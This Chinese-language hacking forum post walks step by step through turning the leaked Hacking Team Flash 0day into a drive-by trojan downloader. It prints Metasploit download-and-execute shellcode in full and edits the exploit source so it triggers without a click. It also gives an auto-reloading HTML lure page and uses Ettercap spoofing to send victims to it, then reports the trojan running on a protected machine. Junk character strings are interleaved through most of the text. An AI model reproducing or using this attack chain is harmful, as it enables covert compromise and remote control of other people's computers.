) S, T- V3 [: m# U. Z6 ]* R6 O 三、flash 0day之手工代码修改制作下载者实例入侵演示
( z) F6 M% b0 U# D2 y: w( q! H 4 x" k! F- J3 V. i
( y$ {6 S4 l& O" B2 V( p 利用到的工具: 7 M2 `3 w* m8 M0 H% s( ^- ?1 X9 @7 W
- c2 |3 s# \" p9 k. v/ [ u- A6 R, C. b9 R8 W# Y
Msf
3 ?0 S' U, N3 Y1 q# O! \ 1 P' T; b. Z# R* Y& m) m# j& H/ j8 y6 p
1 k% Z$ x& @6 i6 k N
Ettercap
; m5 m$ {; {* @; E* U+ t 0 F# Z) J& F4 u9 X/ @! b
: |3 K) l! U3 G/ i7 s Adobe Flash CS6
1 Z3 z6 [1 R; D2 c: d. C6 B 8 k- u6 b6 o) u" C; M" X q
$ R/ u; l. |- `8 u' Y& e+ F7 t Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
" m) A9 Y* d, r. v J6 q3 ~* F& w1 Y' ~
5 W) ]% w( j. L. y. a5 W$ F
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
. g) U0 R- D: A- D8 I9 e/ Q ! M7 b, O# l p; \3 G; M% g
( m7 E' Q* ]& X: A$ k4 T9 c& y- ?
如图: ?% _. C c6 d2 P& o
; r; ]" d' k: a6 z1 V' l D
; Y" T' A" i. w $ {/ D8 C! ^0 F' q$ Q, p, h
& F. P: D. G; w# c+ W/ ]: C- s- S. f* O2 s) v3 J
% q O- U, O- e7 O C
. a4 f/ `" e- `8 V
0 t' f5 H6 ] M) [& `4 [ 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
0 w3 Z2 J( H9 e# o' w ; U9 Y& p2 L9 k6 K) Z0 c
: ~" U4 C, o' H4 r4 }' e
- E9 {% h& c$ M6 R' \4 R& s3 n , `' n* c# v, I7 g3 @8 q. ?: }
: t/ L |& Z0 q& l# a2 [% C
# V/ I; [9 N/ F- c. \3 y
3 `2 E5 l! f+ x( O3 ~
( t: D% [# `. v/ ~& D 然后执行generate -t dword生成shellcode,如下:
7 B3 f/ J* |% L7 m4 X. G
) U% q; A ?1 W& X1 @4 G# n: }" L1 i* [1 N/ w9 n% G& @4 x
9 I: K6 M A9 y& A; k+ s. l ' B/ |3 u) O' `) V/ o0 y. Y6 _
8 A7 C s5 k" D! N" R; G" d
复制代码到文本下便于我们一会编辑flash exp,如下: & @) t( g& l }! D1 l) K% c Y
0 O5 N1 A. W4 h: C3 P6 W
L, k, \/ z$ o- l. S- C7 f 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
( y0 S' I: }' R" D9 J, f \% o0 V) b; h: o- q
* _- K) E- |2 {4 | 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
o$ y2 T/ f9 D4 {& s/ h. G
8 w. K4 o0 v; k+ k: T/ w |
5 R: h% Y* v$ C/ `* b+ K) J 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, $ B, x6 w- ~) Z: G& {7 G
$ o- [# h0 U4 l2 S
* q! d6 c& f4 n: C' T, X d( j 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
) Q3 A) M7 ^+ b7 A) k! R" x
; @" n; _, M+ c4 p$ T) V
0 W% {' m# L$ M3 M5 m& ? 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
" W1 w$ s' n) y @8 B2 G' d$ ? 2 `. ^3 g& y3 ]6 [
! m: |; U v; v4 T' u0 h 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
* ?* N+ p. d7 ?. @
+ ]2 N2 E) n- }: g
) Q% ^3 v0 R# u z' R- u1 @, } 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, + e$ n* n; G: Z$ `
+ E* G- u5 B( h& H: w/ S- E
2 z6 l6 b; S* H
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 5 I' W- q$ o' b/ Z1 [: C
- G( k( z/ m2 Q- p6 m; a) R
6 |: ~. ?% r/ S
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 1 p8 H! [9 f8 q( Q) K& Z
: a6 U [" Z! a& p# |, V7 N8 f
: L1 i7 u: F9 n
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
4 n" A! K9 }0 W! z$ b' \8 v
& x7 B2 b. q. I2 q: g5 a. Y- H3 |2 f
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
5 l' E" U9 `( C, I + V/ T+ \: z) K3 I. a
* Z+ E- S% @" X; ]; G 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
7 F; o9 Q) t- Z# M
# `3 j: f! Q" ^
) u; u! F* V: g5 `* w 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, $ U( H8 e7 p; I3 f6 ?5 _- t
. C6 r! }# t" f0 _% p3 B
: {* Q7 G4 [! K/ P1 e2 \/ o
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 . T% \* } w2 s4 s. ]
+ j& J m$ Y% n( _. u
6 w _2 X3 h* t6 t- j
6 e9 u6 d' l9 o5 t ! ?5 A* J7 S% Z) `7 f, y
( F H$ a% `8 v- g) _) n
8 g. A- n' v& [1 o. r4 a' i
1 L5 c1 C7 r" k' _ L. w; G( [
下面我们来修改flash 0day exp,需要修改三个文件,分别为: . X% ^5 m; b( U( N f) K
5 V' i4 [3 y, ?" K. t
, J9 h; H# v8 p( P; [# W 6 c, U/ _/ F3 W: Q# c. g* F$ a
- q- R9 k2 b1 x" f1 T! B1 |/ r/ A0 Y8 G; |' X
先修改ShellWin32.as,部分源代码如图:
/ F9 j2 P. ~/ e# d + k* t& r d% V5 S0 d/ H( s
\# c( V6 a5 q E; n
# q( B$ ?1 ]1 C/ _
1 Z+ U( O) G+ o/ I4 l7 p( T+ m3 q0 ^& Q. c! ~3 d
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: X4 B5 n5 @: M1 |: T
- h+ [5 e5 T1 p3 l: E2 g9 G
* q3 _4 i/ f9 o; K- l) ] ^. [; o: W1 P
/ v" C d4 n- L
4 ]( Q2 B! H- x/ v C$ |. Y
" t; `& o# Q m: Y* w
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
9 K% H$ X7 j* \; h5 W5 C' t1 y4 U ! j. a4 b: @+ d$ u8 \2 O6 D4 D
- D% |4 D/ _) A) e* |
6 V* R; X( n3 v) h P7 s+ o
. h8 T8 X# |5 i. F
& T/ _) N: U5 i( @; i. e 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: / R/ s% V% t7 N O- W% |" U* n
. X. l5 I" a' `% K/ H) I2 U$ \5 E; n7 @: F& e6 N' p
3 v0 B- w, N! ~* ~) T" o 1 [( p, p) j: f% q
* V: m* f9 \9 l7 c0 P
$ x! a9 X2 ]: ~
% {/ e- c- f4 z% Z4 @! n0 O/ z
7 Z6 v9 A4 _% i' o- c N" b9 I% P8 j c0 R0 C
0 z; O" D- v7 } \5 T# X- s; Y" J, F( m& u/ v* n
然后点保存,下面我们来编译一下,打开 . H! J8 q4 Z$ b% H& Q* M
+ V8 }1 u/ v7 q, w3 ?3 f% c' q5 T6 `3 g
exp1.fla然后点文件-发布,看看编译没错误
, {# t4 o/ J. V6 g
5 B, F9 F! i7 i, \& e+ l5 b2 x' |- Z7 r- U
$ b5 i4 N$ t+ U& Y0 k2 x/ K/ s `, d
6 W: m2 k* _" k+ k5 r) U. P% B3 \0 M6 X4 ?- U
4 \) J+ p2 c- v+ R
- f' k* C3 H0 j9 K: b) e
/ G( q' a; [6 y
1 x- }! i. q/ H6 f+ b
& d# ?# t' q$ }8 L; K+ K/ p& e3 j6 ]1 W, f( K' A
0 x: D/ J$ j) G2 P t8 ^. ?
b- o4 H5 X h* Y; |- S8 L4 a& {0 P0 E* x0 ?
然后我们把生成的
, \( ?' z u# r) [8 U5 l4 b5 `, x
b$ { F5 K; Y8 b
. Q% A# a( u" x9 p: \( X exp1.swf丢到kailinux 的/var/www/html下: 8 R% {% T, `( j: T- W
4 K, D. F1 {& u9 D9 h" i: Q
; E, i1 C! X; l( P& [; i0 I( w 然后把这段代码好好编辑一下 4 ]; ?$ l: y, r" c% @" T
) f( p, M ^* j1 j0 g }" _' c
I4 A# Y! Y3 N! S2 ^+ o ; }: `. R* u4 G5 [$ `! m* d
7 {9 @7 P2 v/ G$ A" C
% b& e6 c/ o/ N4 b; u
% O. z' W4 D/ @" J
* I; i4 p9 g7 A& w! }
/ V" m$ X, Q( A% c ~ P" Z, x6 V/ t# M
: h+ h5 ~( E. i! Y8 X
- P; e5 t% X/ ?& `
B3 K. o- W6 K% f7 ?
$ b# m1 @% u9 \4 ]
3 V0 C, u) [- |( j! C% J N
4 [- m0 u) K& u) C9 H" b # E; ^; O5 t$ B$ Z) h3 z
1 @9 e( ~8 D: H# A( b 8 h7 S( c7 N" }$ [7 N
6 { t7 w, l8 X0 L
; W0 u) ]5 e8 o6 B: {; U <!DOCTYPE html>
/ u3 Z- W. C7 u
% Z% s+ d E- S2 c+ ? k J4 t) l( S; ?0 r& E8 G
<html>
: o$ F3 w) {/ @4 P
$ b; F& ?; K* Z0 T0 c4 E; J$ p, ~0 G" m0 S+ N" C1 t4 }% n4 ~
<head>
9 e+ a, C% f2 K p 8 ?% w. F* R# I. A, I- @
7 h1 t' P9 \$ v6 @. @2 g <meta http-equiv="Content-Type" content="text/html;
% S1 e& I) W& O$ u : c% g$ ]! Z% f" K F
F q t3 x8 Z charset=utf-8"/> # A/ A1 y% K- [$ C" U G
j1 T+ }( h5 B/ K* v; r( c7 W M( g5 e
</head> " W2 U t8 S' l. ^( S
9 V9 }& J# Y% u9 n$ {2 A. q6 M/ y
7 M; Q5 z" Y6 V <body>
/ n) t7 w% R- C& b * @1 m0 c& m; J/ l* }" w
) f+ q* }! s% D <h2> Please wait, the requested page is loading...</h2> 9 U3 X- @/ L# E9 z% z$ G, \
; V% B4 \3 J8 i) M }
( {( @# d D7 _1 `" O: k% H <br>
% b. C0 \3 g: S$ } $ c& n) s% t, T0 D
, r9 Y! }2 C) Y7 D
<OBJECT
) q$ J8 z* l# P; ]2 z* r
7 S& s) {9 O3 S. S8 C1 ~9 ^2 T- q" Y6 o
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie
8 n1 ^, E6 \, D7 j2 x 6 X: K8 A; u- }' l0 G+ f& ~
. K+ k3 z8 Y0 {; _
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
0 u: n% k( P0 P3 b4 B7 ]( C' Z
& J3 \% M% @/ f) I: M! U3 U$ t5 z
/ Y. s! Q) l/ L& H0 J# m8 G! k. v) B </body>
5 p) ~- C1 D1 V ~0 |# c7 i 9 A, y) @7 p% r9 Q7 N) J) j. W
8 `* t/ K Q: r6 `7 Y( d+ d2 S
<script>
, t2 p' N5 f% J
% l4 w) W0 F5 P
# s$ C* e& R; S# J% H setTimeout(function () {
4 ^8 K* _0 s4 q7 c( y / @5 h2 A5 `9 U6 v
. x! A W3 E& E# j1 E8 u4 l
' [0 T) ~% U+ c& z+ G
# W1 a* R! v7 ^" `' ^' o6 `# U& O5 A8 I$ _
window.location.reload();
/ F/ A( e* @5 n2 q5 \& }7 B + b+ p- E ]1 J5 {
' s5 x( `) `6 ^7 ~& T q }, 10000); $ ]* h4 d4 i. L( \$ U& z6 ^
" V5 A8 t0 J$ K2 L7 P8 e
?5 p; e' z+ r, r$ I5 i & f- y: q2 B8 Y+ M: V+ D
* ~! r' L$ q+ j3 u- c, T4 j m
5 g/ B) {0 g9 Y n. ^( \ </script>
3 u( L& |3 \; d' h+ V/ l- H* |
" ~! _* u$ r/ o- P+ r7 }$ O2 Q# @1 C- \ d0 D. }+ L) I
</html>
% a c& b# q0 C9 e7 U4 ?2 g. o. a
1 e1 }1 N2 f `7 M9 p) x" M; J0 Q" E W" @5 _% s2 N8 P
! x& X0 R+ f) {$ O9 X + b( Y5 @+ h8 c2 y5 w' @
. d2 B* ~2 u; }' z0 @" a7 p, \3 G0 s 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: - }$ Q7 q R4 s6 @. W
; d# Y1 H% H! ]* g# b- m- I
7 j% `; o% |. W) h% Y 8 ]) h/ A, M( H. J# `
# g2 P+ _+ r1 D9 n# k) n! S7 w) d6 f& J6 x0 l) z: |) p# V+ r& l
' O% R+ W/ S. j! ?
. p( V9 A7 f* H* L; N
- [6 p: M! A' r1 J ! e" D- G# N4 V! [9 a Y
! s" b! i1 ^8 S
( {0 o" X$ |( i
: z, O! E8 b8 A
0 D( v3 Y+ E6 C7 T( D+ Z5 v o
5 s3 x! l v. S" @) O D" C
# X" L* M$ x. W
0 R+ ]8 H8 L9 m) v/ [- V
$ x* A( }8 z" l$ R, C 下面我们用ettercap欺骗如图:
) H; s: T5 ~! s" e: i
+ {! i* P. ]/ V8 V V
5 d/ o2 K2 U" f/ r 6 \& p0 X/ @. g8 N4 A8 c! J1 b
3 ?3 y& H9 A4 l* C+ j
7 K2 m" s6 a# s4 i ! J: \6 B0 J% f* T* o7 j+ v0 X
. f, H9 L: {% S' @. s
: Y5 W8 L0 _( M, Z7 f& } 下面我们随便访问个网站看看: 8 c- T+ Y. T2 G: P. L6 H8 t' s+ G! [
2 ~( k5 h j7 m* O8 A% G
4 l" p. l& I- P& R) H
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: 5 @# [9 s; I7 l; u' ]. M
6 M% J9 ]3 q9 p9 ^2 ]) C. ]
& c3 b, V% n5 s1 o) Y) z3 O* J
# V! b* W$ g: e& \ 9 x2 \1 j2 S e4 f4 \4 ?' S
/ X1 ^( b% T, x6 F" N2 G @0 y 我们看另一台,
" G( g% m5 s/ n1 D ! j. b' W% ]$ Q6 o& k, v
]& Y1 Y1 `/ L: ? 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。
5 a% X* i* p+ z3 J |